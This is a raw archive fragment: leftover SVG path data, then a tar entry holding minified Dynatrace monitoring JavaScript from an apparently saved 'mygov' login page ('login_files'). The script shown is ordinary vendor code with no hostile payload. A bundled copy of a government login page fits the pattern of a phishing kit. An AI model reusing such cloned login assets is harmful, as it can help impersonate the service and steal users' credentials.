d="M166.33,41h14.19a1.19,1.19,0,0,0,0-2.38H166.33a1.19,1.19,0,0,0,0,2.38Zm13.73-2h.52c1,0,.93,1.68,0,1.68-.75,0-1.92-1.68-.53-1.68Zm-5.82,0h1.39c.74,0,2.06,1.68.67,1.68h-1.38c-.75,0-2.07-1.68-.68-1.68Zm-5.81,0h1.39c.74,0,2.05,1.68.66,1.68h-1.39c-.73,0-2.05-1.68-.66-1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.38,62.67,179.27,67l2.72-1,2.66,1-.81-4.31,1.87.51L185,60.86l.72-2.42-2.11.44,1.05-4-2.66,1-2.72-1,1,4-2.07-.34.58,2.32-.58,2.42,2.17-.61ZM182,59c.67,1.55,2-.09,2,1.55,0,.73-.05,1.57-.67,1.57H181.1c-1,0-1-.65-1-1.62,0-1.4,1.34-.19,1.83-1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M182.09,60.81c.61,0,1.46.42,1.46-.21,0-.88-.85-.58-1.46-.58s-1.47-.3-1.47.58c0,.63.84.21,1.47.21Z" transform="translate(-23 -22)"/><polygon class="cls-1" points="150.88 37.79 151.1 37.39 150.63 37.43 150.36 36.94 150.08 37.44 149.61 37.39 149.83 37.79 149.47 38.16 149.93 38.25 149.93 38.76 150.36 38.44 150.78 38.76 150.78 38.25 151.24 38.16 150.88 37.79 150.88 37.79"/><polygon class="cls-1" points="147.82 40.96 147.82 41.47 148.25 41.15 148.68 41.47 148.68 40.96 149.14 40.88 148.78 40.5 149 40.1 148.53 40.14 148.25 39.65 147.97 40.15 147.51 40.1 147.72 40.5 147.37 40.88 147.82 40.96 147.82 40.96"/><polygon class="cls-1" points="151.3 40.16 150.94 40.53 151.39 40.62 151.39 41.12 151.82 40.8 152.25 41.12 152.25 40.62 152.7 40.53 152.36 40.16 152.58 39.75 152.1 39.79 151.82 39.31 151.54 39.8 151.08 39.75 151.3 40.16 151.3 40.16"/><polygon class="cls-1" points="152.48 42.37 152.21 42.39 152.06 42.12 151.9 42.4 151.63 42.37 151.76 42.6 151.56 42.81 151.82 42.86 151.82 43.15 152.06 42.97 152.3 43.15 152.3 42.86 152.55 42.81 152.36 42.6 152.48 42.37 152.48 42.37"/><polygon class="cls-1" points="150.52 43.12 149.71 43.18 149.23 42.35 148.75 43.2 147.96 43.12 148.33 43.81 147.72 44.45 148.5 44.59 148.5 45.46 149.23 44.91 149.97 45.46 149.97 44.59 150.75 44.45 150.14 43.81 150.52 43.12 150.52 43.12"/><polygon class="cls-1" points="147.15 10.11 146.88 14.58 150.19 11.58 153.49 14.58 153.22 10.11 157.61 9.38 153.97 6.8 156.14 2.89 151.88 4.15 150.19 0 148.51 4.15 144.23 2.89 146.4 6.8 142.77 9.38 147.15 10.11 147.15 10.11"/><path class="cls-1" d="M152.2,117.05l.63,2.66a1.49,1.49,0,0,0,1,1.28,3.47,3.47,0,0,0,2,0,3.11,3.11,0,0,0,1.73-1,2.27,2.27,0,0,0,.17-1.67l-.6-2.53c-.13-.53.07-.67.58-.86l0-.2-2.09.5,0,.2c.82-.17,1,.08,1.12.56l.57,2.44a1.54,1.54,0,0,1-1.28,2.13c-1.37.32-1.62-.77-1.73-1.23l-.63-2.65c-.16-.71.13-.78.75-1l-.05-.2-3.21.77.05.2c.54-.08.79-.12.95.55Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,117.55l.7.11c.67.11,1.16.2,1.28.73,0,.11.15.91-1,1.16a2,2,0,0,1-2.34-1.27l-.27.06.43,2,.28-.07c0-.13,0-.29.23-.33a9.12,9.12,0,0,0,1.69-.09c1.75-.4,2.14-1.5,2-2.2a1.68,1.68,0,0,0-1.37-1.24l-1.53-.27c-.88-.16-1.1-.29-1.19-.72s.36-.88.86-1a2,2,0,0,1,2.18,1.06l.27-.06-.38-1.73-.28.06c0,.16,0,.29-.26.34a8.66,8.66,0,0,0-1.55.07c-1.81.4-1.86,1.56-1.75,2s.23,1.06,2,1.36Z" transform="translate(-23 -22)"/><path class="cls-1" d="M164.05,115.18c.07-1.33,1.07-1.46,1.74-1.56l.41,4.3c.07.68-.17.72-.87.84l0,.2,3.47-.33,0-.21c-.73,0-1,0-1-.65l-.41-4.3c.67,0,1.68-.09,2,1.19l.28,0-.18-1.64-5.83.56.13,1.65.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173.52,118.36c-.65-.09-.86-.12-.85-.77l0-1.61H173l2,2.6,1.83,0h0l2,.24,0-.2c-.33-.06-.79-.14-.76-.45a5.59,5.59,0,0,1,.56-1l2.18.28a4.09,4.09,0,0,1,.31,1.13c0,.27-.21.26-.82.22l0,.21,3.14.39,0-.21c-.46,0-.58-.33-.91-1.25l-1.63-4.55-.28,0-2.69,4.18c-.35.54-.53.79-1,.82a.43.43,0,0,1-.31-.16l-1.91-2.36c.53-.13,1.54-.37,1.55-1.38,0-1.37-2-1.48-2.72-1.49l-3.14-.06v.2c.55,0,.85.07.84.78l-.07,3.61c0,.67-.21.69-.87.74v.21l3.29.06v-.2Zm6.37-3.3.73,2.1-1.88-.24,1.15-1.86Zm-7.14-1.43c.05-.25.07-.34.61-.34a1,1,0,0,1,1.16,1.21c0,1.06-.53,1.24-1.81,1.22l0-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.75,118.85l-.29,0a2.38,2.38,0,0,1-2.71,1.13c-.64-.12-.84-.22-.77-.61l.69-3.8c.13-.71.42-.66,1.1-.57l0-.19-3.35-.62,0,.2c.43.1.82.19.72.72l-.7,3.91c-.1.49-.39.46-.93.41l0,.21,5.55,1,.73-1.76Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.36,120.73l3.34.7,0-.2c-.51-.14-.89-.24-.79-.76l.81-3.88c.11-.54.57-.46,1-.38l.05-.19-3.35-.71,0,.2c.43.12.88.23.77.76l-.81,3.88c-.1.49-.48.45-1,.38l0,.2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.91,121.41l0,.2,2,.21,0-.21c-.33,0-.8-.12-.77-.42a4.88,4.88,0,0,1,.54-1l2.19.22a4.28,4.28,0,0,1,.33,1.13c0,.27-.2.26-.81.24l0,.2,3.15.33,0-.2c-.47,0-.6-.33-.94-1.25l-1.73-4.5-.27,0L194,120.56c-.35.58-.51.84-1,.85Zm3-3.42.78,2.08-1.89-.2,1.11-1.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M171.48,57.26v.58a.28.28,0,0,0,.27.28h2.09a.29.29,0,0,0,.28-.28v-.63a1.3,1.3,0,0,0,.42-1c0-2-1.11-.12-1.72-1.8-.44,1.42-1.77.23-1.77,1.75a1.2,1.2,0,0,0,.43,1.1Zm1.23-1.71c.57,0,1.47-.21,1.47.75,0,.68-.78.29-1.35.29s-1.35.39-1.35-.29c0-1,.66-.75,1.23-.75Z" transform="translate(-23 -22)"/><path class="cls-1" d="M191.66,80.36a.8.8,0,1,0,0-1.59.8.8,0,1,0,0,1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.42,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.52,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.75,52.53a.45.45,0,0,0,.42-.47s-.43-.85-.43-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.19,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.46.46,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,62a.46.46,0,0,0,.43.47A.45.45,0,0,0,159,62a5.17,5.17,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,71.62a.46.46,0,0,0,.43.47.45.45,0,0,0,.43-.47,4.8,4.8,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.25,79.24a.45.45,0,0,0,.42.47.46.46,0,0,0,.44-.47,5,5,0,0,0-.43-.84l-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.31,83.3a.43.43,0,1,0,.86,0,5.12,5.12,0,0,0-.43-.85l-.43.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,71.62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M186.2,79.24a.43.43,0,1,0,.86,0l-.44-.84a5,5,0,0,0-.42.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.14,83.3a.45.45,0,0,0,.43.48.46.46,0,0,0,.43-.48l-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M172.76,87.6a.43.43,0,1,0,.86,0l-.43-.84a5,5,0,0,0-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M179.89,75.35c-.4.83-.4,2-1.35,2.43a.75.75,0,0,0-.28.73l.23.19c.59-.32,1.72-.42,1.64-1.42a3.42,3.42,0,0,1,.86-1.19.94.94,0,0,1,1,.5A1.8,1.8,0,0,1,180.8,78c-.08.09,0,.23,0,.37.18.32.68.18,1,.14.77-.51,1.09-1.42,1.77-1.7.09.46-.91.6-.27,1,.41-.09.95.05,1.23-.5-.32-.78,1.08-1.14.22-1.83,0-.68.73-1,.69-1.69-.28-.74-1.14-.74-1.37-1.42a1,1,0,0,1,.95,0c.09.14.32.18.61.08l.27-.78c0-.05-.31-.36-.51-.31-.77.18-1.59.28-2.05,1a1.53,1.53,0,0,0,.73,1.19c.27-.09.32.18.5.32a.32.32,0,0,1-.32.41c-.54-.55-1.5.18-1.91-.5.19-.69.55-1.47,0-2.11,0-.14.27-.27.14-.41-.23-.64-.92-.14-1.33-.14a1.77,1.77,0,0,0-1.64.82,1.35,1.35,0,0,0,.37.69c.18,0,.27,0,.32.19l-.46.27a.9.9,0,0,1,.18.51c-.31.13-.63-.33-.77-.56s.05-1-.45-1.1a2,2,0,0,0-.4.14,1.32,1.32,0,0,0-.18.76,3.21,3.21,0,0,0,.17.81,7.69,7.69,0,0,1,1.72,1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M151.74,79.12a.8.8,0,1,0,0,1.59.8.8,0,1,0,0-1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104,107.23a.89.89,0,1,0,.89-.85.87.87,0,0,0-.89.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M145.86,122.61l0,.2,2-.23,0-.21c-.32,0-.79,0-.83-.25a4.87,4.87,0,0,1,.31-1.1l2.18-.26a4.48,4.48,0,0,1,.57,1c0,.28-.14.3-.74.41l0,.21,3.15-.37,0-.2c-.47.07-.65-.19-1.19-1l-2.66-4-.27,0-1.64,4.7c-.22.65-.32.94-.84,1.07Zm2.23-4,1.21,1.86-1.89.23.68-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M542,109.18H547v-19a13.49,13.49,0,0,1,3.47-2.93,7.75,7.75,0,0,1,4-1.16,5.33,5.33,0,0,1,4.28,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17q0-5.28-2.42-8t-7-2.72a10.6,10.6,0,0,0-5.35,1.3,14.06,14.06,0,0,0-4.12,3.6l.7,1.46V82.05H542v27.13Zm22.87-19a15.51,15.51,0,0,1,3.64-2.88,8.36,8.36,0,0,1,4.22-1.16,5.26,5.26,0,0,1,4.23,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17c0-3.52-.8-6.19-2.42-8s-4-2.72-7-2.72a11.65,11.65,0,0,0-5.52,1.27,18.28,18.28,0,0,0-4.66,3.63l1,3.77Zm26.43,30.63a9.9,9.9,0,0,0,7-2.59q2.81-2.58,5.06-8.45l11.09-27.72H609l-7.65,20.19-8.61-20.19h-5.6l12.22,27.56.11-3.55-1,2.58a14.29,14.29,0,0,1-3.66,5.79,7.28,7.28,0,0,1-4.79,1.69h-.27l1,4.69Zm54.07-12a31.32,31.32,0,0,0,6.43-2.58V90h-13v4.79h7.64v7.8a18.29,18.29,0,0,1-3.82,1.38,22.55,22.55,0,0,1-5.22.51,14.62,14.62,0,0,1-7.35-1.81,12.63,12.63,0,0,1-5-5.06,15.45,15.45,0,0,1-1.77-7.5A16,16,0,0,1,625,82.54a12.88,12.88,0,0,1,4.74-5.09,12.64,12.64,0,0,1,6.65-1.8,12.24,12.24,0,0,1,6.16,1.48,16.46,16.46,0,0,1,4.66,4l4.3-3.29a18.21,18.21,0,0,0-6.35-5.43,18.56,18.56,0,0,0-8.72-2,19,19,0,0,0-9.58,2.45A17.69,17.69,0,0,0,620,79.82a20.9,20.9,0,0,0-2.5,10.31,20.6,20.6,0,0,0,2.48,10.2,17.43,17.43,0,0,0,7,6.91,21.2,21.2,0,0,0,10.41,2.48,30.08,30.08,0,0,0,7.94-.92Zm35.34-.88a13,13,0,0,0,5.11-5,15.46,15.46,0,0,0,0-14.59,12.94,12.94,0,0,0-5.11-5,16.38,16.38,0,0,0-15,0,13.08,13.08,0,0,0-5.14,5,15.19,15.19,0,0,0,0,14.53,13.11,13.11,0,0,0,5.14,5,16.46,16.46,0,0,0,15,0Zm-12.22-4.12a8.42,8.42,0,0,1-3.28-3.31,10.56,10.56,0,0,1,0-9.74,8.38,8.38,0,0,1,3.28-3.32,10.09,10.09,0,0,1,9.47,0,8.32,8.32,0,0,1,3.26,3.29,10.8,10.8,0,0,1,0,9.74A8.25,8.25,0,0,1,678,103.8a10.15,10.15,0,0,1-9.5,0Zm32.19,5.38h4.52l11.3-27.13h-5.33l-9,22.45h1.62l-8.88-22.45h-5.6l11.36,27.13Z" transform="translate(-23 -22)"/></svg>mygov/app/login_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download000064400000736201151676702570022242 0ustar00/*
 Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var Ua=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return Ua}function La(){return void 0===db.dialogArguments?navigator.cookieEnabled||ra():ra()}function gb(){var Ua;if(La()&&!window.dT_){var Pa=
(Ua={},Ua.cfg="#CONFIGSTRING#|auto=#AUTO#|domain=#DOMAIN#|rid=RID_#REQUEST_ID#|rpid=#RESPONSE_ID#|app=#APP#",Ua.iCE=La,Ua);window.dT_=Pa}}var db="undefined"!==typeof window?window:self,Ea;db.dT_?(null===(Ea=db.console)||void 0===Ea?void 0:Ea.log("Duplicate agent injection detected, turning off redundant initConfig."),db.dT_.di=1):gb()})()})();
/*
 Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(k,w,M){void 0===M&&(M=0);var A=-1;w&&(null===k||void 0===k?0:k.indexOf)&&(A=k.indexOf(w,M));return A}function La(){var k;return!(null===(k=Bb.console)||void 0===k||!k.log)}function gb(k,w){if(!w)return"";var M=k+"=";k=ra(w,M);if(0>k)return"";for(;0<=k;){if(0===k||" "===w.charAt(k-1)||";"===w.charAt(k-1))return M=k+M.length,k=ra(w,";",k),0<=k?w.substring(M,
k):w.substring(M);k=ra(w,M,k+M.length)}return""}function db(k){return gb(k,document.cookie)}function Ea(){}function Ua(){var k=0;try{k=Math.round(Bb.performance.timeOrigin)}catch(w){}if(0>=k||isNaN(k)||!isFinite(k)){k=0;try{k=Bb.performance.timing.navigationStart}catch(w){}k=0>=k||isNaN(k)||!isFinite(k)?Jd:k}tg=k;J=Pa;return tg}function Pa(){return tg}function za(){return J()}function ab(){var k,w=0;if(null===(k=null===Bb||void 0===Bb?void 0:Bb.performance)||void 0===k?0:k.now)try{w=Math.round(Bb.performance.now())}catch(M){}return 0>=
w||isNaN(w)||!isFinite(w)?(new Date).getTime()-J():w}function ba(k,w){void 0===w&&(w=document.cookie);return gb(k,w)}function Z(){}function Aa(k,w){return function(){k.apply(w,arguments)}}function na(k){if(!(this instanceof na))throw new TypeError("Promises must be constructed via new");if("function"!==typeof k)throw new TypeError("not a function");this.ka=0;this.oc=!1;this.sa=void 0;this.Ha=[];va(k,this)}function ta(k,w){for(;3===k.ka;)k=k.sa;0===k.ka?k.Ha.push(w):(k.oc=!0,na.Jb(function(){var M=
1===k.ka?w.xe:w.ye;if(null===M)(1===k.ka?Ma:Ja)(w.promise,k.sa);else{try{var A=M(k.sa)}catch(Ta){Ja(w.promise,Ta);return}Ma(w.promise,A)}}))}function Ma(k,w){try{if(w===k)throw new TypeError("A promise cannot be resolved with itself.");if(w&&("object"===typeof w||"function"===typeof w)){var M=w.then;if(w instanceof na){k.ka=3;k.sa=w;fa(k);return}if("function"===typeof M){va(Aa(M,w),k);return}}k.ka=1;k.sa=w;fa(k)}catch(A){Ja(k,A)}}function Ja(k,w){k.ka=2;k.sa=w;fa(k)}function fa(k){2===k.ka&&0===k.Ha.length&&
na.Jb(function(){k.oc||na.Qc(k.sa)});for(var w=0,M=k.Ha.length;w<M;w++)ta(k,k.Ha[w]);k.Ha=null}function S(k,w,M){this.xe="function"===typeof k?k:null;this.ye="function"===typeof w?w:null;this.promise=M}function va(k,w){var M=!1;try{k(function(A){M||(M=!0,Ma(w,A))},function(A){M||(M=!0,Ja(w,A))})}catch(A){M||(M=!0,Ja(w,A))}}function ja(){K.Jb=function(k){if("string"===typeof k)throw Error("Promise polyfill called _immediateFn with string");k()};K.Qc=function(){};return K}function U(k,w){return parseInt(k,
w||10)}function eb(k){return document.getElementsByTagName(k)}function L(k){var w=k.length;if("number"===typeof w)k=w;else{w=0;for(var M=2048;k[M-1];)w=M,M+=M;for(var A=7;1<M-w;)A=(M+w)/2,k[A-1]?w=A:M=A;k=k[A]?M:w}return k}function C(k){for(var w=[],M=1;M<arguments.length;M++)w[M-1]=arguments[M];k.push.apply(k,w)}function H(k){k=encodeURIComponent(k);var w=[];if(k)for(var M=0;M<k.length;M++){var A=k.charAt(M);C(w,Fa[A]||A)}return w.join("")}function Q(k){-1<ra(k,"^")&&(k=k.split("^^").join("^"),k=
k.split("^dq").join('"'),k=k.split("^rb").join(">"),k=k.split("^lb").join("<"),k=k.split("^p").join("|"),k=k.split("^e").join("="),k=k.split("^s").join(";"),k=k.split("^c").join(","),k=k.split("^bs").join("\\"));return k}function ia(k,w){if(!k||!k.length)return-1;if(k.indexOf)return k.indexOf(w);for(var M=k.length;M--;)if(k[M]===w)return M;return-1}function W(k,w){var M;void 0===w&&(w=[]);if(!k||"object"!==typeof k&&"function"!==typeof k)return!1;var A="number"!==typeof w?w:[],Ta=null,xb=[];switch("number"===
typeof w?w:5){case 0:Ta="Array";xb.push("push");break;case 1:Ta="Boolean";break;case 2:Ta="Number";break;case 3:Ta="String";break;case 4:Ta="Function";break;case 5:Ta="Object";break;case 6:Ta="Date";xb.push("getTime");break;case 7:Ta="Error";xb.push("name","message");break;case 8:Ta="Element";break;case 9:Ta="HTMLElement";break;case 10:Ta="HTMLImageElement";xb.push("complete");break;case 11:Ta="PerformanceEntry";break;case 12:Ta="PerformanceTiming";break;case 13:Ta="PerformanceResourceTiming";break;
case 14:Ta="PerformanceNavigationTiming";break;case 15:Ta="CSSRule";xb.push("cssText","parentStyleSheet");break;case 16:Ta="CSSStyleSheet";xb.push("cssRules","insertRule");break;case 17:Ta="Request";xb.push("url");break;case 18:Ta="Response";xb.push("ok","status","statusText");break;case 19:Ta="Set";xb.push("add","entries","forEach");break;case 20:Ta="Map";xb.push("set","entries","forEach");break;case 21:Ta="Worker";xb.push("addEventListener","postMessage","terminate");break;case 22:Ta="XMLHttpRequest";
xb.push("open","send","setRequestHeader");break;case 23:Ta="SVGScriptElement";xb.push("ownerSVGElement","type");break;case 24:Ta="HTMLMetaElement";xb.push("httpEquiv","content","name");break;case 25:Ta="HTMLHeadElement";break;case 26:Ta="ArrayBuffer";break;case 27:Ta="ShadowRoot",xb.push("host","mode")}w=Ta;if(!w)return!1;xb=xb.length?xb:A;if(!A.length)try{if(Bb[w]&&k instanceof Bb[w]||Object.prototype.toString.call(k)==="[object "+w+"]")return!0;if(k&&k.nodeType&&1===k.nodeType){var ec=null===(M=
k.ownerDocument.defaultView)||void 0===M?void 0:M[w];if("function"===typeof ec&&k instanceof ec)return!0}}catch(uc){}for(M=0;M<xb.length;M++)if(A=xb[M],"string"!==typeof A&&"number"!==typeof A&&"symbol"!==typeof A||!(A in k))return!1;return!!xb.length}function la(k,w,M,A){"undefined"===typeof A&&(A=Ka(w,!0));"boolean"===typeof A&&(A=Ka(w,A));if(k===Bb)Ya?Ya(w,M,A):Pb&&Pb("on"+w,M);else if(cc&&W(k,21))lc.call(k,w,M,A);else if(k.addEventListener)if(k===Bb.document||k===Bb.document.documentElement)Sb.call(k,
w,M,A);else try{Ya.call(k,w,M,A)}catch(ec){k.addEventListener(w,M,A)}else k.attachEvent&&k.attachEvent("on"+w,M);A=!1;for(var Ta=$c.length;0<=--Ta;){var xb=$c[Ta];if(xb.object===k&&xb.event===w&&xb.da===M){A=!0;break}}A||C($c,{object:k,event:w,da:M})}function ua(k,w,M,A){for(var Ta=$c.length;0<=--Ta;){var xb=$c[Ta];if(xb.object===k&&xb.event===w&&xb.da===M){$c.splice(Ta,1);break}}"undefined"===typeof A&&(A=Ka(w,!0));"boolean"===typeof A&&(A=Ka(w,A));k===Bb?tb?tb(w,M,A):Pb&&Pb("on"+w,M):k.removeEventListener?
k===Bb.document||k===Bb.document.documentElement?Ub.call(k,w,M,A):tb.call(k,w,M,A):k.detachEvent&&k.detachEvent("on"+w,M)}function Ka(k,w){var M=!1;try{if(Ya&&-1<ia(Vd,k)){var A=Object.defineProperty({},"passive",{get:function(){M=!0}});Ya("test",Ea,A)}}catch(Ta){}return M?{passive:!0,capture:w}:w}function Hb(){for(var k=$c,w=k.length;0<=--w;){var M=k[w];ua(M.object,M.event,M.da)}$c=[]}function ib(k,w,M){if(M||2===arguments.length)for(var A=0,Ta=w.length,xb;A<Ta;A++)!xb&&A in w||(xb||(xb=Array.prototype.slice.call(w,
0,A)),xb[A]=w[A]);return k.concat(xb||Array.prototype.slice.call(w))}function aa(k){return"function"===typeof k&&/{\s+\[native code]/.test(Function.prototype.toString.call(k))}function qa(k,w){for(var M,A=[],Ta=2;Ta<arguments.length;Ta++)A[Ta-2]=arguments[Ta];return void 0!==Function.prototype.bind&&aa(Function.prototype.bind)?(M=Function.prototype.bind).call.apply(M,ib([k,w],A,!1)):function(){for(var xb=0;xb<arguments.length;xb++);return k.apply(w,(A||[]).concat(Array.prototype.slice.call(arguments)||
[]))}}function V(){if(yd){var k=new yd;if(Kd)for(var w=0,M=ie;w<M.length;w++){var A=M[w];void 0!==Kd[A]&&(k[A]=qa(Kd[A],k))}return k}return dd?new dd("MSXML2.XMLHTTP.3.0"):Bb.XMLHttpRequest?new Bb.XMLHttpRequest:new Bb.ActiveXObject("MSXML2.XMLHTTP.3.0")}function pa(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var k=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return k}function Va(){return void 0===
Bb.dialogArguments?navigator.cookieEnabled||pa():pa()}function nb(){return Ne}function lb(k){Ne=k}function jb(k){var w=I("rid"),M=I("rpid");w&&(k.rid=w);M&&(k.rpid=M)}function Ab(k){if(k=k.xb){k=Q(k);try{Ne=new RegExp(k,"i")}catch(w){}}else Ne=void 0}function gc(k){return"n"===k||"s"===k||"l"===k?";SameSite=".concat(ig[k]):""}function Vb(k,w,M){var A=1,Ta=0;do document.cookie=k+'=""'+(w?";domain="+w:"")+";path="+M.substring(0,A)+"; expires=Thu, 01 Jan 1970 00:00:01 GMT;",A=M.indexOf("/",A),Ta++;while(-1!==
A&&5>Ta)}function Ha(k){var w={},M=0;for(k=k.split("|");M<k.length;M++){var A=k[M].split("=");2===A.length&&(w[A[0]]=decodeURIComponent(A[1].replace(/\+/g," ")))}return w}function yb(){var k=I("csu");return(k.indexOf("dbg")===k.length-3?k.substring(0,k.length-3):k)+"_"+I("app")+"_Store"}function vb(k,w,M){void 0===w&&(w={});var A=0;for(k=k.split("|");A<k.length;A++){var Ta=k[A],xb=Ta,ec=ra(Ta,"=");-1===ec?w[xb]="1":(xb=Ta.substring(0,ec),w[xb]=Ta.substring(ec+1,Ta.length))}!M&&(M=w,A=M.spc)&&(k=document.createElement("textarea"),
k.innerHTML=A,M.spc=k.value);return w}function ca(k){var w;return null!==(w=xc[k])&&void 0!==w?w:Yc[k]}function Oa(k){k=ca(k);return"false"===k||"0"===k?!1:!!k}function Za(k){var w=ca(k);w=U(w);isNaN(w)&&(w=Yc[k]);return w}function I(k){return String(ca(k)||"")}function ka(k,w){xc[k]=String(w)}function Ba(k){return xc=k}function $a(k){xc[k]=0>ra(xc[k],"#"+k.toUpperCase())?xc[k]:""}function Cb(k){var w=k.agentUri;w&&-1<ra(w,"_")&&(w=/([a-zA-Z]*)[0-9]{0,4}_([a-zA-Z_0-9]*)_[0-9]+/g.exec(w))&&w.length&&
2<w.length&&(k.csu=w[1],k.featureHash=w[2])}function bd(k){var w=k.domain||"";var M=(M=location.hostname)&&w?M===w||-1!==M.indexOf("."+w,M.length-("."+w).length):!0;if(!w||!M){k.domainOverride||(k.domainOriginal=k.domain||"",k.domainOverride="".concat(location.hostname,",").concat(w),delete k.domain);var A=I("cssm");var Ta=document.domain||"";if(Ta){Ta=Ta.split(".").reverse();var xb=Ta.length;if(1>=xb)A="";else{for(var ec=Ta[0],uc="",qc=1;qc<=xb;qc++)if(ba("dTValidationCookie")){uc=ec;break}else{Ta[qc]&&
(ec="".concat(Ta[qc],".").concat(ec));var ud="".concat("dTValidationCookie","=dTValidationCookieValue;path=/;domain=").concat(ec);ud+=gc(A);document.cookie=ud}Vb("dTValidationCookie",uc,"/");A=uc}}else A="";A&&(k.domain=A);M||C(me,{type:"dpi",severity:"Warning",text:'Configured domain "'.concat(w,'" is invalid for current location "').concat(location.hostname,'". Agent will use "').concat(k.domain,'" instead.')})}}function Qb(k,w){bd(k);var M=xc.pVO;M&&(k.pVO=M);w||(w=k.bp||Yc.bp,k.bp2&&(w=2),k.bp=
String(w))}function Zb(){return xc}function q(k){return Yc[k]===ca(k)}function D(){if(Bb.MobileAgent||Bb.dynatraceMobile){var k=db("dtAdkSettings");return Vf.dT_.p3SC(k).privacyState||null}return null}function t(){var k=D();return 2===k||1===k?!1:!Vf.dT_.bcv("coo")||Vf.dT_.bcv("cooO")||Vf.dT_.iSM()}function y(k,w){return!t()||Bb.dT_.overloadPrevention&&!mc()?null:k.apply(this,w||[])}function Y(k,w){try{var M=Ld;M&&M.setItem(k,w)}catch(A){}}function x(k,w){y(Y,[k,w])}function oa(k){try{var w=Ld;if(w)return w.getItem(k)}catch(M){}return null}
function R(k){try{var w=Ld;w&&w.removeItem(k)}catch(M){}}function O(k){document.cookie=k+'="";path=/'+(I("domain")?";domain="+I("domain"):"")+"; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}function wa(k,w,M,A){Oe=!0;w||0===w?(w=String(w).replace(/[;\n\r]/g,"_"),k=k+"="+w+";path=/"+(I("domain")?";domain="+I("domain"):""),M&&(k+=";expires="+M.toUTCString()),k+=gc(I("cssm")),A&&"https:"===location.protocol&&(k+=";Secure"),document.cookie=k):O(k);Oe=!1}function Ga(k,w,M,A){y(wa,[k,w,M,A])}function Wa(k){return-1===
ra(k,"v_4")?!1:!0}function Eb(k){k=ba("dtCookie",k);k||((k=oa("dtCookie"))&&Wa(k)?Lb(k):k="");return Wa(k)?k:""}function Lb(k){Ga("dtCookie",k,void 0,Oa("ssc"))}function Nb(k){return(k=k||Eb())?Oc(k):{sessionId:"",serverId:"",overloadState:0}}function ac(k){return Nb(k).serverId}function rc(k){return Nb(k).sessionId}function mc(){return 0<=ra(navigator.userAgent,"RuxitSynthetic")}function Oc(k){var w={sessionId:"",serverId:"",overloadState:0},M=k.split("_");if(2<M.length&&0===M.length%2){k=Number(M[1]);
